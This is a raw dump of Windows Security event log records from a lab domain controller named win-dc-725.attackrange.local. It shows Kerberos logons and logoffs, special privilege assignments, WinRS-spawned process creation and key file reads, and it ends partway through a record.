-RecordNumber=249614 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5F73 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249613 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5ED9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249612 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5ED9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64304 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249611 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5ED9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249610 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE59F1 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe1c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd40 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249609 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE59F1 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249608 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=249607 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x478 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249606 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE59F1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249605 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE59F1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249604 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249603 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249602 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=System Integrity -OpCode=Info -RecordNumber=249601 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other System Events -OpCode=Info -RecordNumber=249600 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: 34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249688 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE810E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249687 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE810E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64311 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249686 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE810E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249685 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE80AD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249684 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE80AD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64310 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249683 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE80AD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249682 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE8047 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249681 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE8047 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64309 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249680 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE8047 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249679 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE7FE6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249678 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE7FE6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64308 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249677 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE7FE6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249676 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7F76 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249675 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249674 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE73A8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 